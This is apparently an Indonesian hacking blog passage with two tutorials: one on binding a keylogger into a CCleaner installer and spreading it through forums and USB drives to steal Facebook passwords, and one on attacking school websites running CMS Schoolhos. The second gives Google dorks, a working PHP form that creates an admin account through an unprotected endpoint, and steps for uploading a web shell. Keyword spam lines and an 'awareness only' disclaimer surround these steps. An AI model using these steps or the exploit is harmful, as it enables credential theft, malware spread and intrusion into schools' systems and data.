2 . Sekarang pergi ke menu dan buka file setup . Misalkan kita ingin melampirkan keylogger kami untuk file setup CCleaner . Jadi buka setup CCleaner dengan hacker sumber daya .
3 . Sekarang di menu ada satu tombol action klik dan kemudian klik simpan semua sumber daya .

cara hack password facebook , facebook hack , cara hack ke someones facebook
Resource Hacker untuk Ekstrak file Icon dari perangkat lunak

4 . Sekarang menyimpan semua sumber daya ke desktop atau di lokasi lain pilihan Anda .
5 . Ini terdiri dari dua file satu file icon dan lainnya adalah res . Kita hanya perlu file icon , sehingga Anda dapat menghapus file yaitu res lainnya .
6 . Sekarang kita memiliki Icon of file installer ( seperti dibahas di atas CCleaner Setup Icon ) .

Langkah 3 : Bind server keylogger dengan software apapun
1 . Sekarang Pergi ke folder keylogger dan buka Binder .
2 . Sekarang Klik pada tombol + diberikan di bawah ini untuk menambahkan file .
3 . Sekarang tambahkan server keylogger dan mengatur perangkat lunak ( misalnya dalam kasus kami itu pengaturan CCleaner ) .
4 . Sekarang di menu Binder , Ke Pengaturan . Ada pilih ikon yang kita dihasilkan pada langkah sebelumnya dan menetapkan lokasi file output seperti yang ditunjukkan pada gambar .

facebook hack password , cara hack facebook , facebook password hacker , facebook hack
Bind server keylogger Perangkat Lunak


5 . Sekarang lagi pergi ke menu File di Binder dan klik pada file Bind .
6 . Sekarang keylogger binded Anda sudah siap . Sekarang Anda harus menyebarkan atau kirimkan ke korban yang adalah teman Anda .

Step4 : Cara Penyebaran Keylogger atau mengirimkannya ke korban atau teman
1 . Sekarang Anda memiliki satu Software file setup dengan keylogger terpasang dengan itu . ( Dalam kasus kami, kami memiliki setup CCleaner dengan keylogger terpasang dengan itu .
2 . Sekarang Menyebarkan keylogger Anda melalui forum . Anda mungkin menjadi anggota dari berbagai forum menggunakannya untuk menyebarkan keylogger Anda dalam bentuk posting perangkat lunak. Anda dapat menggunakan berbagai software untuk menyebarkan mereka bahwa pengguna sering men-download .
3 . Menyebarkannya melalui pendrives atau USB hard drive . Misalkan seorang teman meminta Anda untuk perangkat lunak memberikan perangkat lunak yang telah keylogger terpasang dengan itu .
Catatan : Anda juga dapat memasang keylogger dengan gambar juga . Tapi itu bisa dideteksi oleh antivirus . Jadi menghindari jenis seperti hacking .
Jadi tidak bahwa begitu mudah untuk hack account Facebook siapa pun hanya dalam beberapa menit .

Bagaimana melindungi diri dari hacks ini ?
Pencegahan selalu lebih baik daripada mengobati jadi selalu ikuti langkah berikut:
1 . Jangan menggunakan perangkat lunak retak dan tidak men-download dari situs-situs yang tidak sah .
2 . Selalu menjaga antivirus dan anti - spyware up to date .
3 . Selalu scan file sebelum mentransfernya ke USB Anda .
4 . Jangan mengizinkan pengguna lain untuk menggunakan PC Anda yaitu sandi melindunginya .

Catatan : Email account Hacking adalah ilegal . Posting ini hanya untuk menyadari bahwa Anda cara mudah untuk hack account Facebook dan email . Sehingga Anda tidak bisa jatuh ke dalam perangkap hacker .

Tutorial Hacking Web Sekolah Dengan CMS Schoolhos

Kali ini kita akan bahas Tutorial Hack / Retas / Deface Web Sekolah dengan CMS SchoolHosCara ini Mungkin ga pantut di contoh hihi Karena dapat merugikan pihak sekolahdari pada lama ikuti aja tutor nya di bawah ini..

Exploit ini sangat mudah digunakan :)
Google Dork: 

• inurl:/?p=bukutamu 
• intext:Schoolhos Free Open Source CMS

Code :
<?php

$self = $_SERVER["PHP_SELF"];

echo 'Target';
echo "<form action=\"$self\" method=\"GET\"><input type=\"text\" name=\"url\"><input type=\"submit\"></form>";
if(!isset($_GET['url'])){
$url = "http://target.com/adminpanel/database/admin.php";
}else
{
$url = $_GET['url'];
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>!!Barrabravaz Everywhere!!</title>
 </head>
 <body>

<h1>!!Barrabravaz Everywhere!!</h1>
<?php echo "Target is : $url"; ?>


<form id="target" method="post" action="<?php echo "$url"; ?>/adminpanel/aplikasi/database/admin.php?pilih=admin&untukdi=tambah">

Isi username yang mau di isi <INPUT type="text"  name="username" value="barrabravaz"><br>
Pass nya<INPUT type="text"  name="password" value="barrabravaz"><br>

<input type="submit" name="insert" value="Insert" >
</form>
</body>
</html>

...
Teks yang berwarna hijau : Jangan ganti Title ya =) hormati yang buat ;)

Teks yang berwarna kuning : ganti User & Pass nya dengan user&pass kamu :)


simpan file nya di notepad dan simpan dengan nama file extension .php


cara menggunakannya..

Isi target : www.target.sch.id

lalu isi username & Password kamu..

selanjutnya klik insert,dan otomatis akan dialihkan ke halaman /adminpanel/

tinggal login ,masukin user&pass nya :)
....

....
sekarang cara upload file nya gan hehehe ( siapa tau gak tau caranya mau upload diamana )

Pertama, login dulu di Adminpanel .
Seperti pada gambar berikut :

Setelah itu anda akan dihadapkan pada Menu Dashboard , dimana di Menu tsb adalah bagian terpenting di website CMS SCHOOLHOS karena penataan/pengaturan ada disitu :)
Pilih File Materi seperti pada gambar dibawah ,

 Lalu pilih Tambah .

Kemudian Anda akan dihadapkan pada menu Mata Pelajaran , Pilih Mata Pelajaran terserah anda =))

Lalu klik Lanjut
Next,
Isi Judul Materi
File Materi  ( Upload shell anda )
Isi Deskripsi
Guru Pengampu
Kemudian klik
Tambah

Selamat! Shell anda telah berhasil mengupload shell kedalam website tsb. =))
Untuk memanggil shell , pilih button "Edit" seperti gambar dibawah :

Klik shell yg uda kalian upload tadi =)

Done. Shell Telah tertanam dan anda bisa Mengacak ngacak Data base dan File Sekolah yang ada di Website Sekolah tersebut